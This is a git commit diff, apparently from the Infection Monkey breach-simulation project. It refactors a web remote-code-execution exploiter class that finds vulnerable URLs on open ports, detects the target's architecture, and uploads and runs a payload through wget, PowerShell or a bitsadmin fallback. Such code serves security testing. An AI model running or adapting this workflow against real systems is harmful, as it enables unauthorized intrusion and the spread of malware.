Implemented default_exploit_host method that can implement whole framework's workflow according to some flags/params

This commit is contained in:
Vakaris 2018-08-21 12:34:59 +03:00
parent e3d286dbc0
commit 911404ef68
1 changed files with 56 additions and 33 deletions

View File

@ -11,13 +11,17 @@ from network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
# Commands used to check if monkeys already exists
# Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"
class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None):
def __init__(self, host, monkey_target_paths):
"""
:param host: Host that we'll attack
:param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
@ -35,7 +39,22 @@ class WebRCE(HostExploiter):
def exploit_host(self):
"""
Example workflow of the framework. Most likely you will have to override this method.
Override this method to pass custom arguments to default_exploit_host
:return: True if exploited, False otherwise
"""
return self.default_exploit_host()
def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None,
stop_checking_urls=False, blind_exploit=False):
"""
Standard framework usage (call this method in exploit_host function):
:param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
it's file to the default destination path.
:param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
:param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
:param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
:return: True if exploited and False otherwise.
"""
# Get open ports
@ -43,27 +62,29 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports)
urls = self.build_potential_urls(ports, url_extensions)
vulnerable_urls = []
for url in urls:
if self.check_if_exploitable(url):
vulnerable_urls.append(url)
if stop_checking_urls:
break
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
# Skip if monkey already exists and this option is given
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not self.set_host_arch(vulnerable_urls[0]):
if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]):
return False
# Upload the right monkey to target
data = self.upload_monkey(vulnerable_urls[0])
data = self.upload_monkey(vulnerable_urls[0], upload_commands)
if data is not False and data['response'] is False:
return False
@ -73,7 +94,7 @@ class WebRCE(HostExploiter):
return False
# Execute remote monkey
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False:
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False:
return False
return True
@ -113,16 +134,16 @@ class WebRCE(HostExploiter):
return True
def get_command(self, path, http_path, commands):
try:
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
try:
command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
LOG.error("Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs before using custom monkey's upload commands.")
return False
return command
@ -193,9 +214,9 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return "64"
return WIN_ARCH_64
else:
return "32"
return WIN_ARCH_32
else:
return False
@ -280,7 +301,7 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, command)
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
@ -334,7 +355,7 @@ class WebRCE(HostExploiter):
# Get monkey command line
if dropper and path:
# If dropper is chosen we try to move monkey to default location
default_path = self.custom_to_dropper_path(path)
default_path = self.get_default_dropper_path()
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
@ -386,19 +407,21 @@ class WebRCE(HostExploiter):
"custom dict of monkey's destination paths")
return False
def custom_to_dropper_path(self, path):
try:
key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)]
except KeyError:
LOG.error("The path you used is not in monkey_target_paths array. Skipping")
def get_default_dropper_path(self):
"""
Gets default dropper path for the host.
:return: Default monkey's destination path for corresponding host.
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
"""
if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
return False
if key == 'linux':
if self.host.os['type'] == 'linux':
return self._config.dropper_target_path_linux
elif key == 'win32':
return self._config.dropper_target_path_win_32
elif key == 'win64':
if self.host.os['type'] == 'windows':
try:
if self.host.os['machine'] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64
else:
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
"custom dict of monkey's destination paths")
return False
except KeyError:
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32